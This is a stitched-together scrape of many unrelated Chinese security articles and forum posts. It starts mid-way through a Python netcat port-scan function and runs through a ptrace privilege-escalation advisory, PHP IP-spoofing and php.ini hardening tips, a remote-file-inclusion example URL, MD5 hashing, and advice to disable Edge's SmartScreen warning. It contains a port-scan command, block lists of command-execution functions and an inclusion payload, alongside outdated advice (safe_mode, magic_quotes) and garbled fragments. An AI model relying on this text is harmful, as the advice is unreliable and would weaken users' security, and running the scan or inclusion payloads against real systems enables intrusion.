def portscan(ip,port): command = 'nc -v -w 1 -z {0} {1}'.format(ip,port) m = os.system(command) if m == 0: temp_str = str(ip) + "---" + str(port) port_list.append(temp_str) else: pass
备注:比如你想探测某个指定的端口开放情况,推荐使用nc。
总结
nmap 作为扫描端口的神器,扫描出的结果比其他几种方式要详细。如果追求效率的话,建议采用socket。相比于nmap,socket会存在漏报情况,笔者在测试某主机时,nmap扫出了8888端口,但是socket没有。
以上就是端口扫描有哪几种方式的知识。速戳>>知识兔学习精品课!
在2019年07月20日Linux官方正式修复了一个本地内核提权漏洞。攻击者可以通过此漏洞将普通权限用户提升为Root权限。
(推荐教程:网站安全教程)
漏洞描述
当调用PTRACE_TRACEME时,ptrace_link函数将获得对父进程凭据的RCU引用,然后将该指针指向get_cred函数。但是,对象struct cred的生存周期规则不允许无条件地将RCU引用转换为稳定引用。
PTRACE_TRACEME获取父进程的凭证,使其能够像父进程一样执行父进程能够执行的各种操作。如果恶意低权限子进程使用PTRACE_TRACEME并且该子进程的父进程具有高权限,该子进程可获取其父进程的控制权并且使用其父进程的权限调用execve函数创建一个新的高权限进程。攻击者最终控制具有高权限的两个进程ptrace关系,可以被用来ptrace。
suid二进制文件并获得root权限。
漏洞复现
网上已有针对该漏洞的高可利用性的exploit,利用效果如下图:
影响范围
目前受影响的Linux内核版本:
Linux Kernel < 5.1.17
修复建议
1、补丁修复链接:
https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=6994eefb00d2e07cd140df6c2ea106c41ee
2、升级Linux内核至最新版。
参考链接
https://github.com/torvalds/linux/commit/6994eefb00d2e07cd140df6c2ea106c41ee
以上就是linux本地提权漏洞介绍的知识。速戳>>知识兔学习精品课!
以下书籍排名不分先后,整理来自朋友推荐和网络评分筛选,都是大家看过后的真实书评反馈,希望能给你一些参考,当然入门信息安全也有视频、文档、资料等更多方式可以选择,看个人喜好。
(推荐教程:web服务器安全)
【技术类——白帽子入门必看17本】
Android软件安全与逆向分析
Android安全攻防权威指南
白帽子讲web安全
恶意代码分析实战
内网安全攻防
渗透测试完全初学者指南
0day安全漏洞分析(第2版)
黑客大曝光系列
Web安全深度剖析
Web前端黑客技术揭秘
逆向工程核心原理
数据包解析《Wireshark数据包分析实战》
入侵的艺术
黑客与画家
The Secret to Cybersecurity
CISO Desk Reference Guide: A practical guide for CISOs
Data and Goliath
【管理类——企业安全相关10本】
CISSP官方学习指南
开源安全运维平台 OSSI最佳实践
零信任网络 在不可信网络中构建安全系统
情报驱动应急响应
日志管理与分析权威指南
网络安全态势感知 提取、理解和预测
银行信息安全技术与管理体系
工业控制网络安全技术与实践
威胁模式 设计和交付更安全的软件
互联网企业安全高级指南
以上就是27本信息安全书籍推荐的知识。速戳>>知识兔学习精品课!
文章背景:
今年十月份Google发布了Chrome浏览器86新版本的正式更新,这意味着Chrome将阻止所有类型非HTTPS的混合内容下载。
为进一步加固浏览器的安全防线,全球份额已达71%的浏览器霸主Chrome可谓“操碎了心”,早在今年2月份,Google宣布:为了增强用户下载防护体验,Chrome浏览器将逐步阻止非“安全超文本传输协议”的混合内容下载,确保HTTPS安全页面仅下载安全文件。
为什么阻止HTTPS页面的HTTP资源下载
HTTPS混合内容错误一直是网站推进HTTPS加密的一大阻碍。HTTPS混合内容错误是指,初始网页通过安全的HTTPS链接加载,但页面中其他资源(如:图像、视频、样式表、脚本)却通过不安全的HTTP链接加载,这样就会出现混合内容错误(也就是不安全因素)。据谷歌报道,Chrome用户在所有主要平台上超过90%的浏览时间都使用HTTPS,但是这些安全页面通常会加载不安全的HTTP子资源。
初期,Chrome屏蔽始于安全页面的不安全下载。这种情况尤其让人担忧,因为Chrome当前无法向用户表明其隐私和安全受到威胁。不安全的文件下载会威胁到用户的安全和隐私。例如,攻击者可以将通过HTTP下载的程序替换为恶意程序,窃听者可以读取用户通过HTTP下载的银行对账单等。为了解决这些风险,谷歌计划最终在Chrome中禁止加载不安全资源。作为去年宣布的一项计划的延续,Chrome将阻止“安全页面”上的所有“非安全子资源”的接触。
Chrome阻止混合内容的六阶段计划表
从2020年4月的Chrome 82开始,Chrome浏览器便采取行动向用户发出警告、进一步确保安全性,直至最终阻止“混合内容的下载” (安全页面上的非HTTPS下载)支持。其中对用户构成最大风险的文件类型(可执行文件)首先受到影响,后续版本将覆盖更多的文件类型。
谷歌计划首先在 Windows、macOS、ChromeOS 和 Linux 桌面平台上推出对混合内容下载的限制。Chrome 团队将这一过程分为六个步骤,分别是:
☞ Chrome 81(2020年 3 月):浏览器会蹦出一条控制台消息,警告所有混合内容的下载;
☞ Chrome 82(2020年 4 月):浏览器将警告(.exe 等可执行文件)的混合内容下载;
☞ Chrome 83(2020年 6 月):警告 .zip 档案和 .iso 磁盘映像混合内容的下载;
☞ Chrome 84(2020年 8 月):警告除图片、音视频、文本之外的混合内容的下载;
☞ Chrome 85(2020 年9 月):警告图像、音视频和文本类混合内容的下载;
☞ Chrome 86(2020 年10 月):阻止所有类型混合内容的下载。
逐步推出的目的,旨在快速缓解严重的安全风险,鉴于移动平台具有更好的抵御恶意文件的本机防护功能,为开发人员提供更新其网站的缓冲时间,避免因不安全网站影响Chrome用户的使用体验。
您的网站内容混合吗?
您的网站内容混合吗?相信多数网站管理者不清楚其网站有哪些混合内容,而Chrome 86版本的重大更新帮助用户了解所有HTTP网站都是不安全的,迫使网站管理员将其站点升级到更安全的HTTPS协议,保护用户的隐私和数据安全。
应对策略
① 检查您的网站上的混合内容/不安全链接,排查网站内的加载文件,确保所有文件都仅通过HTTPS下载,可借助证书管理工具解决HTTPS的不安全(外链)问题,对网站实时监控并获得专业评估报告,以便检测自己部署的HTTPS网站是否真正的安全。
② 建议网站进行全站HTTPS加密。保护隐私数据,防止窃听和泄露。
③ 担心全站HTTPS会消耗较多的云端服务器 CPU资源,增加延时?可制定全站HTTPS加速的性能优化解决方案。
相关推荐:网站安全教程
以上就是Chrome将阻止所有类型非HTTPS的混合内容下载?的知识。速戳>>知识兔学习精品课!
网络攻击与防御处于不对称状态是因为网络软硬件的复杂性。网络攻击是指针对计算机信息系统、基础设施、计算机网络或个人计算机设备的,任何类型的进攻动作。
网络攻击与防御处于不对称状态是因为网络软硬件的复杂性。
(相关推荐:服务器安全)
什么是网络攻击?
网络攻击(Cyber Attacks,也称赛博攻击)是指针对计算机信息系统、基础设施、计算机网络或个人计算机设备的,任何类型的进攻动作。对于计算机和计算机网络来说,破坏、揭露、修改、使软件或服务失去功能、在没有得到授权的情况下偷取或访问任何一计算机的数据,都会被视为于计算机和计算机网络中的攻击。
以上就是网络攻击与防御处于不对称状态是因为什么的知识。速戳>>知识兔学习精品课!
信息安全问题产生的内部原因是信息系统的复杂性,包括过程复杂性、结构复杂性和应用复杂性等。造成信息安全问题的因素有很多,如技术故障、骇客攻击、病毒、漏洞等因素都可以造成信息系统安全问题。
本文操作环境:Windows7系统,Dell G3电脑。
造成信息安全问题的因素有很多,如技术故障、骇客攻击、病毒、漏洞等因素都可以造成信息系统安全问题。
(相关教程推荐:服务器安全)
从根源来说,信息安全问题可以归因于内因和外因。
1、信息安全问题的内因
内因方面主要是信息系统复杂性导致漏洞的存在不可避免,换句话说,漏洞是一种客观存在。这些复杂性包括过程复杂性,结构复杂和应用复杂等方面。
2、信息安全问题的外因
外因主要包括环境因素和人为因素。从自然环境的角度看,雷击、地震、火灾、洪水等自然灾害和极端天气也容易引发信息安全问题;从人为因素来看,有骇客、犯罪团伙、恐怖分子等多种,我们可以分为个人层面威胁、组织层面威胁和国家层面威胁三个层面,从所掌握的资源来看和具备的能力,这三个层面依次递增。
以上就是信息安全问题产生的内部原因是什么的知识。速戳>>知识兔学习精品课!
分析过程
这个来自一些项目中,获取用户Ip,进行用户操作行为的记录,是常见并且经常使用的。 一般朋友,都会看到如下通用获取IP地址方法。
复制代码 代码如下:
function getIP() {
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$realip = $_SERVER['HTTP_X_FORWARDED_FOR'];
} elseif (isset($_SERVER['HTTP_CLIENT_IP'])) {
$realip = $_SERVER['HTTP_CLIENT_IP'];
} else {
$realip = $_SERVER['REMOTE_ADDR'];
}
return $realip;
}
这个是网上常见获取,ip函数,用这些值获取IP,我们首先要弄清楚,这些数据是从那个地方传过来的。
IP获取来源
1.'REMOTE_ADDR' 是远端IP,默认来自tcp 连接是,客户端的Ip。可以说,它最准确,确定是,只会得到直接连服务器客户端IP。如果对方通过代理服务器上网,就发现。获取到的是代理服务器IP了。
如:a->b(proxy)->c ,如果c 通过'REMOTE_ADDR' ,只能获取到b的IP,获取不到a的IP了。
另外:该IP想篡改将很难实现,在传递知道生成php server值,都是直接生成的。
2.'HTTP_X_FORWARDED_FOR','HTTP_CLIENT_IP' 为了能在大型网络中,获取到最原始用户IP,或者代理IP地址。对HTTp协议进行扩展。定义了实体头。
HTTP_X_FORWARDED_FOR = clientip,proxy1,proxy2 所有IP用”,”分割。 HTTP_CLIENT_IP 在高级匿名代理中,这个代表了代理服务器IP。既然是http协议扩展一个实体头,并且这个值对于传入端是信任的,信任传入方按照规则格式输入的。以下以x_forword_for例子加以说明,正常情况下,这个值变化过程。
分析Bug风险点: 通过刚刚分析我们发现,其实这些变量,来自http请求的:x-forword-for字段,以及client-ip字段。 正常代理服务器,当然会按rfc规范来传入这些值。但是,当一个用户直接构造该x-forword-for值,发送给用户用户,那将会怎么样呢? 图(1) 第2步,修改x-forword-fox值,我们看看结果 第三步,我们再修改下看看会怎么样? 哈哈,看到上面结果没,x-forwarded-for不光可以自己设置值,而且可以设置任意格式值。 这样一来,好比就直接有一个可以写入任意值的字段。并且服务器直接读取,或者写入数据库,或者做显示。它将带来危险性,跟一般对入输入没有做任何过滤检测,之间操作数据源结果一样。 并且容易带来隐蔽性。结论: 上面getip函数,除了客户端可以任意伪造IP,并且可以传入任意格式IP。 这样结果会带来2大问题,其一,如果你设置某个页面,做IP限制。 对方可以容易修改IP不断请求该页面。 其二,这类数据你如果直接使用,将带来SQL注册,跨站攻击等漏洞。至于其一,可以在业务上面做限制,最好不采用IP限制。 对于其二,这类可以带来巨大网络风险。我们必须加以纠正。 需要对getip 进行修改,得到安全的getip函数。 这类问题,其实很容易出现,以前我就利用这个骗取了大量伪装投票。有它的隐蔽性,其实只要我们搞清楚了,某些值来龙去脉的话。理解了它的原理,修复该类bug将是非常容易。 题外话,做技术,有三步,先要会做,会解决;后要思考为什么要这么做,原因原理是什么;最后是怎么样做,有没有其它方法。多问问自己,你发现距离技术真理越来越近。你做事会越来越得心应手的! 作者:chengmo QQ: http://www.bkjia.com/PHPjc/.htmlwww.bkjia.comtruehttp://www.bkjia.com/PHPjc/.htmlTechArticle分析过程 这个来自一些项目中,获取用户Ip,进行用户操作行为的记录,是常见并且经常使用的。 一般朋友,都会看到如下通用获取IP地址... PHP本身再老版本有一些问题,比如在 php4.3.10和php5.0.3以前有一些比较严重的bug,所以推荐使用新版。另外,目前闹的轰轰烈烈的SQL Injection也是在PHP上有很多利用方式,所以要保证安全,PHP代码编写是一方面,PHP的配置更是非常关键。 我们php手手工安装的,php的默认配置文件在 /usr/local/apache2/conf/php.ini,我们最主要就是要配置php.ini中的内容,让我们执行php能够更安全。整个PHP中的安全设置主要是为了防止phpshell和SQL Injection的攻击,一下我们慢慢探讨。我们先使用任何编辑工具打开/etc/local/apache2/conf/php.ini,如果你是采用其他方式安装,配置文件可能不在该目录。 (1) 打开php的安全模式 php的安全模式是个非常重要的内嵌的安全机制,能够控制一些php中的函数,比如system(), 同时把很多文件操作函数进行了权限控制,也不允许对某些关键文件的文件,比如/etc/passwd, 但是默认的php.ini是没有打开安全模式的,我们把它打开: safe_mode = on (2) 用户组安全 当safe_mode打开时,safe_mode_gid被关闭,那么php脚本能够对文件进行访问,而且相同 组的用户也能够对文件进行访问。 建议设置为: safe_mode_gid = off 如果不进行设置,可能我们无法对我们服务器网站目录下的文件进行操作了,比如我们需要 对文件进行操作的时候。 (3) 安全模式下执行程序主目录 如果安全模式打开了,但是却是要执行某些程序的时候,可以指定要执行程序的主目录: safe_mode_exec_dir = D:/usr/bin 一般情况下是不需要执行什么程序的,所以推荐不要执行系统程序目录,可以指向一个目录, 然后把需要执行的程序拷贝过去,比如: safe_mode_exec_dir = D:/tmp/cmd 但是,我更推荐不要执行任何程序,那么就可以指向我们网页目录: safe_mode_exec_dir = D:/usr/www (4) 安全模式下包含文件 如果要在安全模式下包含某些公共文件,那么就修改一下选项: safe_mode_include_dir = D:/usr/www/include/ 其实一般php脚本中包含文件都是在程序自己已经写好了,这个可以根据具体需要设置。 (5) 控制php脚本能访问的目录 使用open_basedir选项能够控制PHP脚本只能访问指定的目录,这样能够避免PHP脚本访问 不应该访问的文件,一定程度上限制了phpshell的危害,我们一般可以设置为只能访问网站目录: open_basedir = D:/usr/www (6) 关闭危险函数 如果打开了安全模式,那么函数禁止是可以不需要的,但是我们为了安全还是考虑进去。比如, 我们觉得不希望执行包括system()等在那的能够执行命令的php函数,或者能够查看php信息的 phpinfo()等函数,那么我们就可以禁止它们: disable_functions = system,passthru,exec,shell_exec,popen,phpinfo 如果你要禁止任何文件和目录的操作,那么可以关闭很多文件操作 disable_functions = chdir,chroot,dir,getcwd,opendir,readdir,scandir,fopen,unlink,delete,copy,mkdir, rmdir,rename,file,file_get_contents,fputs,fwrite,chgrp,chmod,chown 以上只是列了部分不叫常用的文件处理函数,你也可以把上面执行命令函数和这个函数结合, 就能够抵制大部分的phpshell了。 (7) 关闭PHP版本信息在http头中的泄漏 我们为了防止黑客获取服务器中php版本的信息,可以关闭该信息斜路在http头中: expose_php = Off 比如黑客在 telnet www.chinaz.com 80 的时候,那么将无法看到PHP的信息。 (8) 关闭注册全局变量 在PHP中提交的变量,包括使用POST或者GET提交的变量,都将自动注册为全局变量,能够直接访问, 这是对服务器非常不安全的,所以我们不能让它注册为全局变量,就把注册全局变量选项关闭: register_globals = Off 当然,如果这样设置了,那么获取对应变量的时候就要采用合理方式,比如获取GET提交的变量var, 那么就要用$_GET[’var’]来进行获取,这个php程序员要注意。 (9) 打开magic_quotes_gpc来防止SQL注入 SQL注入是非常危险的问题,小则网站后台被入侵,重则整个服务器沦陷, 所以一定要小心。php.ini中有一个设置: magic_quotes_gpc = Off 这个默认是关闭的,如果它打开后将自动把用户提交对sql的查询进行转换, 比如把 ’ 转为 ’等,这对防止sql注射有重大作用。所以我们推荐设置为: magic_quotes_gpc = On (10) 错误信息控制 一般php在没有连接到数据库或者其他情况下会有提示错误,一般错误信息中会包含php脚本当 前的路径信息或者查询的SQL语句等信息,这类信息提供给黑客后,是不安全的,所以一般服务器建议禁止错误提示: display_errors = Off 如果你却是是要显示错误信息,一定要设置显示错误的级别,比如只显示警告以上的信息: error_reporting = E_WARNING & E_ERROR 当然,我还是建议关闭错误提示。 (11) 错误日志 建议在关闭display_errors后能够把错误信息记录下来,便于查找服务器运行的原因: log_errors = On 同时也要设置错误日志存放的目录,建议根apache的日志存在一起: error_log = D:/usr/local/apache2/logs/php_error.log 注意:给文件必须允许apache用户的和组具有写的权限。 MYSQL的降权运行 新建立一个用户比如mysqlstart net user mysqlstart ****microsoft /add net localgroup users mysqlstart /del 不属于任何组 如果MYSQL装在d:mysql ,那么,给 mysqlstart 完全控制 的权限 然后在系统服务中设置,MYSQL的服务属性,在登录属性当中,选择此用户 mysqlstart 然后输入密码,确定。 重新启动 MYSQL服务,然后MYSQL就运行在低权限下了。 如果是在windos平台下搭建的apache我们还需要注意一点,apache默认运行是system权限, 这很恐怖,这让人感觉很不爽.那我们就给apache降降权限吧。 net user apache ****microsoft /add net localgroup users apache /del ok.我们建立了一个不属于任何组的用户apche。 我们打开计算机管理器,选服务,点apache服务的属性,我们选择log on,选择this account,我们填入上面所建立的账户和密码, 重启apache服务,ok,apache运行在低权限下了。 实际上我们还可以通过设置各个文件夹的权限,来让apache用户只能执行我们想让它能干的事情,给每一个目录建立一个单独能读写的用户。 这也是当前很多虚拟主机提供商的流行配置方法哦,不过这种方法用于防止这里就显的有点大材小用了。 http://www.bkjia.com/PHPjc/.htmlwww.bkjia.comtruehttp://www.bkjia.com/PHPjc/.htmlTechArticlePHP本身再老版本有一些问题,比如在 php4.3.10和php5.0.3以前有一些比较严重的bug,所以推荐使用新版。另外,目前闹的轰轰烈烈的SQL Injectio... 我一个网站,用手机版访问 有2个超链接, 一个是修改 还有一个是删除 当我点击修改的时候,弹出一个DIV,这时注意,“关闭按钮”位于删除超链接旁, 点击关闭,连带着也碰到了删除。 最诡异的是删除操作,我加了javascript判断, onclick="return confirm('您确定要删除?');" 正常的点击删除,是会报警告信息的 但是这样的误操作居然没起效果, 刷新一下之后,发现数据被删除 我昨天已经奇怪了,还以为有人黑我网站,但是今天无意中又碰到了, 的确是误操作引起的,不晓得怎么回事??? 大家要注意啦!!!我想想解决办法!!! 幸好有数据库备份 回复讨论(解决方案) 知识兔 我又试了一下 onclick="return confirm('您确定要删除?');" 正常的点击删除,是会报警告信息的 但是还是删除了, 我用chrome模拟安卓设备,提示警告,且不会删除的, 百度浏览器onclick="return confirm('您确定要删除?');" 失效,费解!! 1、你的弹出框太小,难免碰到 删除 2、onclick="return confirm('您确定要删除?');" 是写在超链中的吗? 最好分开写 好像是百度浏览器的问题!! 大家可以试一下 uc浏览器倒没问题 1、你的弹出框太小,难免碰到 删除 2、onclick="return confirm('您确定要删除?');" 是写在超链中的吗? 最好分开写 百度浏览器的问题,安卓下的,,我回去再测试一下,刚试了几次了百度浏览器引起的 代码安全隐患(散分) 刚发现自己写的一段验证代码有严重的安全隐患,请大家指教。代码的目的是先通过判断SESSION变量是否注册及其值是否合法,如果验证失败就跳转到登录页面,如果成功才继续往下执行: PHP code 我以为第一步验证失败后,页面就马上跳转到login.php页了,但实际发现验证没有通过的情况下,也会执行一部分的后续代码(好像没有完整执行),不知道是不是页面跳转需要一定的时间,就在执行跳转这段时间里面又执行了后续的一部分代码?为什么遇到header()函数后不是马上跳转呢? ------解决方案-------------------- 自认为良好的风格 ------解决方案-------------------- 还不懂 慢慢体会 ------解决方案-------------------- 友情UP ------解决方案-------------------- exit(); ------解决方案-------------------- 对,要加exit(); ------解决方案-------------------- exit()是要加的 LZ真大方,有什么不开心的事要散分哇 ------解决方案-------------------- PHP code 上一页 下一页 这篇文章主要介绍了win2008 R2安装网站安全狗提示HTTP 错误 500.21的解决方法,需要的朋友可以参考下 WINDOWS 2008 R2系统+IIS7.5,在没安装网站安全狗前一切正常,安装网站安全狗3.3版后,有部分php网站无法访问。提示如下错误: HTTP 错误 500.21 - Internal Server Error处理程序“SafedogIISAuditor64”在其模块列表中有一个错误模块“IsapiModule” 解决方法:检查IIS7.5是否添加asp.net扩展性组件,没有安装请安装。 再检查IIS7.5是否安装IIS6.0管理兼容性,没有安装请安装。 以上两项都安装过后,再次访问相关网站,一切正常。 以上就是win2008 R2安装网站安全狗提示错误500.21的解决方法的知识。速戳>>知识兔学习精品课! 本篇文章的主要内容是关于PHP安全编程之网站安全设计的一些原则,现在在这里分享给大家,有感兴趣的朋友可以看一下 深度防范 深度防范原则是安全专业人员人人皆知的原则,它说明了冗余安全措施的价值,这是被历史所证明的。 深度防范原则可以延伸到其它领域,不仅仅是局限于编程领域。使用过备份伞的跳伞队员可以证明有冗余安全措施是多么的有价值,尽管大家永远不希望主伞失效。一个冗余的安全措施可以在主安全措施失效的潜在的起到重大作用。 回到编程领域,坚持深度防范原则要求您时刻有一个备份方案。如果一个安全措施失效了,必须有另外一个提供一些保护。例如,在用户进行重要操作前进行重新用户认证就是一个很好的习惯,尽管你的用户认证逻辑里面没有已知缺陷。如果一个未认证用户通过某种方法伪装成另一个用户,提示录入密码可以潜在地避免未认证(未验证)用户进行一些关键操作。 尽管深度防范是一个合理的原则,但是过度地增加安全措施只能增加成本和降低价值。最小权限 我过去有一辆汽车有一个佣人钥匙。这个钥匙只能用来点火,所以它不能打开车门、控制台、后备箱,它只能用来启动汽车。我可以把它给泊车员(或把它留在点火器上),我确认这个钥匙不能用于其它目的。 把一个不能打开控制台或后备箱的钥匙给泊车员是有道理的,毕竟,你可能想在这些地方保存贵重物品。但我觉得没有道理的是为什么它不能开车门。当然,这是因为我的观点是在于权限的收回。我是在想为什么泊车员被取消了开车门的权限。在编程中,这是一个很不好的观点。相反地,你应该考虑什么权限是必须的,只能给予每个人完成他本职工作所必须的尽量少的权限。 一个为什么佣人钥匙不能打开车门的理由是这个钥匙可以被复制,而这个复制的钥匙在将来可能被用于偷车。这个情况听起来不太可能发生,但这个例子说明了不必要的授权会加大你的风险,即使是增加了很小权限也会如此。风险最小化是安全程序开发的主要组成部分。 你无需去考虑一项权限被滥用的所有方法。事实上,你要预测每一个潜在攻击者的动作是几乎不可能的。简单就是美 复杂滋生错误,错误能导致安全漏洞。这个简单的事实说明了为什么简单对于一个安全的应用来说是多么重要。没有必要的复杂与没有必要的风险一样糟糕。 例如,下面的代码摘自一个最近的安全漏洞通告: <?php $search = (isset($_GET['search']) ? $_GET['search'] : ''); ?> 这个流程会混淆$search变量受污染*的事实,特别是对于缺乏经验的开发者而言(注:受污染变量,即在程序执行过程中,该变量的值不是由赋值语句直接指定值,而是来自其它来源,如控制台录入、数据库等。)。上面语句等价于下面的程序: <?php $search = ''; if (isset($_GET['search'])) {$search = $_GET['search']; } ?> 上面的两个处理流程是完全相同的。现在请注意一下下面的语句: $search = $_GET['search']; 使用这一语句,在不影响流程的情况下,保证了$search变量的状态维持原样,同时还可以看出它是否受污染。暴露最小化 PHP应用程序需要在PHP与外部数据源间进行频繁通信。主要的外部数据源是客户端浏览器和数据库。如果你正确的跟踪数据,你可以确定哪些数据被暴露了。Internet是最主要的暴露源,这是因为它是一个非常公共的网络,您必须时刻小心防止数据被暴露在Internet上。 数据暴露不一定就意味着安全风险。可是数据暴露必须尽量最小化。例如,一个用户进入支付系统,在向你的服务器传输他的信用卡数据时,你应该用SSL去保护它。如果你想要在一个确认页面上显示他的信用卡号时,由于该卡号信息是由服务器发向他的客户端的,你同样要用SSL去保护它。 比如前面的例子,显示信用卡号显然增加了暴露的机率。SSL确实可以降低风险,但是最佳的解决方案是通过只显示最后四位数,从而达到彻底杜绝风险的目的。 为了降低对敏感数据的暴露率,你必须确认什么数据是敏感的,同时跟踪它,并消除所有不必要的数据暴露。在本书中,我会展示一些技巧,用以帮助你实现对很多常见敏感数据的保护。 相关推荐: 常见的PHP安全性攻击及解决办法 php安全实例详解 PHP安全开发库详解 以上就是PHP安全编程-网站安全设计的一些原则的知识。速戳>>知识兔学习精品课! 一、常见PHP网站安全漏洞 对于PHP的漏洞,目前常见的漏洞有五种。分别是Session文件漏洞、SQL注入漏洞、脚本 命令执行漏洞、全局变量漏洞和文件漏洞。这里分别对这些漏洞进行简要的介绍。 1、session文件漏洞 Session攻击是黑客最常用到的攻击手段之一。当一个用户访问某一个网站时,为了免客 户每进人一个页面都要输人账号和密码,PHP设置了Session和Cookie用于方便用户的使用和访向。 2、SQL注入漏洞 在进行网站开发的时候,程序员由于对用户输人数据缺乏全面判断或者过滤不严导致服 务器执行一些恶意信息,比如用户信息查询等。黑客可以根据恶意程序返回的结果获取相应的信息。这就 是月行胃的SQL注入漏洞。 3、脚本执行漏洞 脚本执行漏洞常见的原因是由于程序员在开发网站时对用户提交的URL参数过滤较少引起 的,用户提交的URL可能包含恶意代码导致跨站脚本攻击。脚本执行漏洞在以前的PHP网站中经常存在,但 是随着PHP版本的升级,这些间题已经减少或者不存在了。 4、全局变量漏洞 PHP中的变量在使用的时候不像其他开发语言那样需要事先声明,PHP中的变量可以不经 声明就直接使用,使用的时候系统自动创建,而且也不需要对变量类型进行说明,系统会自动根据上下文 环境自动确定变量类型。这种方式可以大大减少程序员编程中出错的概率,使用起来非常的方便。 5、文件漏洞 文件漏洞通常是由于网站开发者在进行网站设计时对外部提供的数据缺乏充分的过滤导 致黑客利用其中的漏洞在Web进程上执行相应的命令。假如在lsm.php中包含这样一段代码:include ($b."/aaa.php".),这对黑客来说,可以通过变量$b来实现远程攻击,可以是黑客自已的代码,用来实现 对网站的攻击。可以向服务器提交a.php include=http://lZ7.0.0. 1/b.php,然后执行b.php的指令。 二、PHP常见漏洞的防范措施 1、对于Session漏洞的防范 从前面的分析可以知道,Session攻击最常见的就是会话劫持,也就是黑客通过各种攻击 手段获取用户的Session ID,然后利用被攻击用户的身份来登录相应网站。为此,这里可以用以下几种方 法进行防范:一是定期更换Session ID,更换Session ID可以用PHP自带函数来实现;二是更换Session名称 ,通常情况下Session的默认名称是PHPSESSID,这个变量一般是在cookie中保存的,如果更改了它的名称 ,就可以阻档黑客的部分攻击;三是对透明化的Session ID进行关闭处理,所谓透明化也就是指在http请求 没有使用cookies来制定Session id时,Sessioin id使用链接来传递.关闭透明化Session ID可以通过操作 PHP.ini文件来实现;四是通过URL传递隐藏参数,这样可以确保即使黑客获取了session数据,但是由于相 关参数是隐藏的,它也很难获得Session ID变量。 2、对SQL注入漏洞的防范 黑客进行SQL注入手段很多,而且灵活多变,但是SQL注人的共同点就是利用输入过滤漏 洞。因此,要想从根本上防止SQL注入,根本解决措施就是加强对请求命令尤其是查询请求命令的过滤。具 体来说,包括以下几点:一是把过滤性语句进行参数化处理,也就是通过参数化语句实现用户信息的输入而 不是直接把用户输入嵌入到语句中。二是在网站开发的时候尽可能少用解释性程序,黑客经常通过这种手 段来执行非法命令;三是在网站开发时尽可能避免网站出现bug,否则黑客可能利用这些信息来攻击网站;仅 仅通过防御SQL注入还是不够的,另外还要经常使用专业的漏洞扫描工具对网站进行漏洞扫描。 3、对脚本执行漏洞的防范 黑客利用脚本执行漏洞进行攻击的手段是多种多样的,而且是灵活多变的,对此,必须 要采用多种防范方法综合的手段,才能有效防止黑客对脚本执行漏洞进行攻击。这里常用的方法方法有以 下四种。一是对可执行文件的路径进行预先设定。可以通过safe_moade_exec_dir来实现;二是对命令参数 进行处理,一般用escapeshellarg函数实现;三是用系统自带的函数库来代替外部命令;四是在操作的时候 进可能减少使用外部命令。 4、对全局变量漏洞防范 对于PHP全局变量的漏洞问题,以前的PHP版本存在这样的问题,但是随着PHP版本升级到 5.5以后,可以通过对php.ini的设置来实现,设置ruquest_order为GPC。另外在php.ini配置文件中,可以 通过对magic_quotes_runtime进行布尔设置是否对外部引人的数据中的溢出字符加反斜线。为了确保网 站程序在服务器的任何设置状态下都能运行。可以在整个程序开始的时候用get_magic_quotes_runtime检 测设置状态决定是否要手工处理,或者在开始(或不需要自动转义的时候)用set_magic_quotes_runtime(0) 关掉。 5、对文件漏洞的防范 对于PHP文件漏桐可以通过对服务器进行设置和配置来达到防范目的。这里具体的操作如 下:一是把PHP代码中的错误提示关闭,这样可以避免黑客通过错误提示获取数据库信息和网页文件物理路 径;二是对open_basedir尽心设置,也就是对目录外的文件操作进行禁止处理;这样可以对本地文件或者远 程文件起到保护作用,防止它们被攻击,这里还要注意防范Session文件和上载文件的攻击;三是把safe- made设置为开启状态,从而对将要执行的命令进行规范,通过禁止文件上传,可以有效的提高PHP网站的安 全系数。 转载请注明来源:PHP网站常见安全漏洞,及相应防范措施总结 http://www.php1.cn/Content/PHP_WangZhanChangJianAnQuanLouDongJiXiangYingFangFanCuoShiZongJie.html 以上就介绍了php网站安全性问题,包括了方面的内容,希望对PHP教程有兴趣的朋友有所帮助。 解决方法:1、打开浏览器,点击右上角的三个点;2、在任务栏中点击“设置”;3、点击左侧任务栏的“隐私和安全性”;4、关闭“windows defender smartscreen”选项即可。 本教程操作环境:windows10系统、Dell G3电脑。 edge浏览器显示站点不安全的解决方法 1、打开浏览器,点击右上角的三个点。 2、在任务栏中点击“设置”。 3、点击左侧任务栏的“隐私和安全性”。 4、下拉到底,将“windows defender smartscreen”关闭即可。 想要查阅更多相关文章,请访问小兔网!! 以上就是edge此站点不安全怎么解决的知识。速戳>>知识兔学习精品课! email安全传输的方法称为S/MIME,即多用途网际邮件扩充协议。多用途网际邮件扩充协议是一个Internet标准,MIME给web浏览器提供了查阅多格式文件的方法。 (学习视频分享:编程视频) 详细说明: 多用途网际邮件扩充协议是一个Internet标准,MIME给web浏览器提供了查阅多格式文件的方法。 多用途互联网邮件扩展(MIME,Multipurpose Internet Mail Extensions)是一个互联网标准,它扩展了电子邮件标准,使其能够支持: 非ASCII字符文本; 非文本格式附件(二进制、声音、图像等); 由多部分(multiple parts)组成的消息体; 包含非ASCII字符的头信息(Header information)。这个标准被定义在RFC 2045、RFC 2046、RFC 2047、RFC 2048、RFC 2049等RFC中。 MIME是通过标准化电子邮件报文的头部的附加域(fields)而实现的;这些头部的附加域,描述新的报文类型的内容和组织形式。 MIME版本 MIME版本(MIME-Version),这个头部域在邮件消息的报文用一个版本号码来指明消息遵从的MIME规范的版本。目前版本是1.0。 内容类型 内容类型(Content-Type),这个头部领域用于指定消息的类型。 内容传输编码 内容传输编码(Content-Transfer-Encoding),这个区域使指定ASCII以外的字符编码方式成为可能。 以上就是email安全传输的方法称为什么的知识。速戳>>知识兔学习精品课! 1、MD5加密 string md5 ( string $str [, bool $raw_output = false ] ) 参数 str -- 原始字符串。 raw_output -- 如果可选的 raw_output 被设置为 TRUE,那么 MD5 报文摘要将以16字节长度的原始二进制格式返回。 这是一种不可逆加密,执行如下的代码: $password = '';echo md5($password); 得到结果是: e10adc3949ba59abbe56e057f20f883e 相关推荐:《php教程》 2、Crype加密 string crypt ( string $str [, string $salt ] ) crypt() 返回一个基于标准 UNIX DES 算法或系统上其他可用的替代算法的散列字符串。 参数 str -- 待散列的字符串。 salt -- 可选的盐值字符串。如果没有提供,算法行为将由不同的算法实现决定,并可能导致不可预料的结束。 这是也一种不可逆加密,执行如下的代码: $password = '';$salt = "test";// 只取前两个echo crypt($password, $salt); 